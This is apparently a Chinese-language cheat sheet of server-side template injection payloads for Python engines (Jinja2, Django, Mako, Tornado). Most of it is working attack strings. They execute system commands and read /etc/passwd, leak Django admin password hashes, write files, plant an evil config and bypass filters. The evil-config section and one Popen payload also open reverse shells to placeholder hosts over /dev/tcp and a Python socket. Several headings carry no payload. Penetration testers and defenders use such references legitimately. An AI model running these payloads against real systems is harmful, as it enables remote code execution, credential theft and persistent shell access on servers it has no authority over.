服务端模板注入 (SSTI) - Python
服务端模板注入 (SSTI) 是一种漏洞,当攻击者可以将恶意输入注入服务端模板,从而导致在服务器上执行任意代码时,就会产生此漏洞。在 Python 中,当使用 Jinja2、Mako 或 Django templates 等模板引擎时,如果用户输入未通过适当的过滤就包含在模板中,就可能发生 SSTI。
摘要 (Summary)
- 模板库 (#templating-libraries)
- 通用载荷 (#universal-payloads)
- Django
- Django - 基础注入 (#django---basic-injection)
- Django - 跨站脚本 (XSS) (#django---cross-site-scripting)
- Django - 调试信息泄露 (#django---debug-information-leak)
- Django - 泄露应用程序的 Secret Key (#django---leaking-apps-secret-key)
- Django - 后台管理 URL 泄露 (#django---admin-site-url-leak)
- Django - 后台管理员用户名和密码哈希泄露 (#django---admin-username-and-password-hash-leak)
- Jinja2
- Jinja2 - 基础注入 (#jinja2---basic-injection)
- Jinja2 - 模板格式 (#jinja2---template-format)
- Jinja2 - 调试语句 (#jinja2---debug-statement)
- Jinja2 - dump 出所有已使用的类 (#jinja2---dump-all-used-classes)
- Jinja2 - dump 出所有配置变量 (#jinja2---dump-all-config-variables)
- Jinja2 - 读取远程文件 (#jinja2---read-remote-file)
- Jinja2 - 写入远程文件 (#jinja2---write-into-remote-file)
- Jinja2 - 远程命令执行 (RCE) (#jinja2---remote-command-execution)
- 在盲注 RCE 中强制输出 (#jinja2---forcing-output-on-blind-rce)
- 通过调用 os.popen().read() 利用 SSTI (#exploit-the-ssti-by-calling-ospopenread)
- 通过调用 subprocess.Popen 利用 SSTI (#exploit-the-ssti-by-calling-subprocesspopen)
- 无需猜测偏移量调用 Popen 利用 SSTI (#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)
- 通过编写恶意的配置文件利用 SSTI (#exploit-the-ssti-by-writing-an-evil-config-file)
- Jinja2 - 混淆后的远程命令执行 (#jinja2---remote-command-execution-with-obfuscation)
- Jinja2 - 过滤器绕过 (#jinja2---filter-bypass)
- Tornado
- Mako
- 参考资料 (#references)
模板库 (Templating Libraries)
| 模板名称 | 载荷格式 |
|---|---|
| Bottle | {{ }} |
| Chameleon | ${ } |
| Cheetah | ${ } |
| Django | {{ }} |
| Jinja2 | {{ }} |
| Mako | ${ } |
| Pystache | {{ }} |
| Tornado | {{ }} |
通用载荷 (Universal Payloads)
通用的代码注入载荷适用于许多基于 Python 的模板引擎,如 Bottle、Chameleon、Cheetah、Mako 和 Tornado。
要使用这些载荷,请将其包裹在适当的标签中。
__include__("os").popen("id").read() # 回显型 RCE
getattr("", "x" + __include__("os").popen("id").read()) # 报错型 RCE
1 / (__include__("os").popen("id")._proc.wait() == 0) # 布尔型 RCE
__include__("os").popen("id && sleep 5").read() # 时间型 RCE
Django
Django 模板语言默认支持 2 种渲染引擎:Django Templates (DT) 和 Jinja2。Django Templates 是一个简单得多的引擎。它不允许调用传入的对象函数,因此 SSTI 在 DT 中的影响通常不如在 Jinja2 中严重。
Django - 基础注入
{% csrf_token %} # 在 Jinja2 中会导致错误
{{ 7*7 }} # 在 Django Templates 中显示错误
ih0vr{{364|add:733}}d121r # Burp 载荷 -> ih0vr1097d121r
Django - 跨站脚本 (XSS)
Django - 调试信息泄露
Django - 泄露应用程序的 Secret Key
Django - 后台管理 URL 泄露
Django - 后台管理员用户名和密码哈希泄露
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
{% get_admin_log 10 as admin_log for_user user %}
Jinja2
Jinja2 是由 Python 编写的、功能齐全的模板引擎。它具有完整的 Unicode 支持,可选的集成沙箱执行环境,被广泛使用且采用 BSD 许可。
Jinja2 - 基础注入
Jinja2 被 Django 或 Flask 等 Python Web 框架使用。 上述注入已在 Flask 应用程序中完成测试。
Jinja2 - 模板格式
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
Jinja2 - 调试语句
如果启用了调试扩展 (Debug Extension),则 {% debug %} 标签将可用于 dump 当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容而无需设置调试器非常有用。
Jinja2 - dump 出所有已使用的类
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
访问 __globals__ 和 __builtins__:
Jinja2 - dump 出所有配置变量
Jinja2 - 读取远程文件
# ''.__class__.__mro__[2].__subclasses__()[40] = File 类
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Jinja2 - 写入远程文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Jinja2 - 远程命令执行 (RCE)
监听连接:
Jinja2 - 在盲注 RCE 中强制输出
您可以导入 Flask 函数以从有漏洞的页面返回输出。
{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
r = make_response('Powned')
return r
")
}}
通过调用 os.popen().read() 利用 SSTI
但是当 __builtins__ 被过滤时,以下载荷是上下文无关的,不需要任何东西,只需要位于 Jinja2 模板对象中:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
我们可以使用来自 @podalirius_ 的这些更短的载荷:python-vulnerabilities-code-execution-in-jinja-templates:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
类似的载荷可用于基于报错和基于布尔的利用:
{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # 报错型
{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # 布尔型
使用 objectwalker,我们可以找到从 lipsum 到 os 模块的路径。这是已知在 Jinja2 模板中实现 RCE 的最短载荷:
通过调用 subprocess.Popen 利用 SSTI
396 这个数字会根据应用程序的不同而变化。
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
无需猜测偏移量调用 Popen 利用 SSTI
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
对载荷进行简单修改以清理输出并方便来自 @SecGus 的命令输入。在另一个 GET 参数中包含一个名为 "input" 的变量,其中包含您要运行的命令(例如:&input=ls)
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
通过编写恶意的配置文件利用 SSTI
# 恶意配置
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# 加载恶意配置
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# 连接到恶意主机
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Jinja2 - 混淆后的远程命令执行
使用已知现有字符串的索引位置(索引值可能根据目标而异)编写字符串 id:{{self.__init__.__globals__.__str__()[1786:1788]}}。
执行系统命令 id:
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
Jinja2 - 过滤器绕过 (Filter Bypass)
绕过 _
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
绕过 [ 和 ]
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
或者
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
绕过 |join
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
绕过大多数常见过滤器('.','_','|join','[',']','mro' 和 'base'),来自 @SecGus:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Tornado
通用载荷也适用于 Tornado。
Tornado - 基础注入
Tornado - 远程命令执行
Mako
通用载荷也适用于 Mako。
Mako 是由 Python 编写的模板库。从概念上讲,Mako 是一种嵌入式 Python(即 Python Server Page)语言,它改进了常见的组件化布局和继承理念,旨在提供最直接、最灵活的模型,同时保持与 Python 调用和作用域语义的紧密联系。
Mako - 远程命令执行
以下任一载荷都可以直接访问 os 模块:
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
PoC :
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>
Mako - 混淆后的远程命令执行
在 Mako 中,以下载荷可用于生成字符串 "id":${str().join(chr(i)for(i)in[105,100])}。
执行系统命令 id:
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
参考资料 (References)
- Cheatsheet - Flask & Jinja2 SSTI - phosphore - 2018年9月3日
- 在 Flask/Jinja2 中探索 SSTI, 第二部分 - Tim Tomes - 2016年3月11日
- Jinja2 模板注入过滤器绕过 - Sebastian Neef - 2017年8月28日
- 受限只是错觉 —— 实现到处 RCE 的高级服务端模板利用 - Brumens - 2025年3月24日
- Mako 模板中的 Python 上下文无关载荷 - podalirius - 2021年8月26日
- 语法之间的雷区:利用野外的语法混淆 - Brumens - 2025年10月17日
- 成功的错误:新的代码注入和 SSTI 技术 - Vladislav Korchagin - 2026年1月3日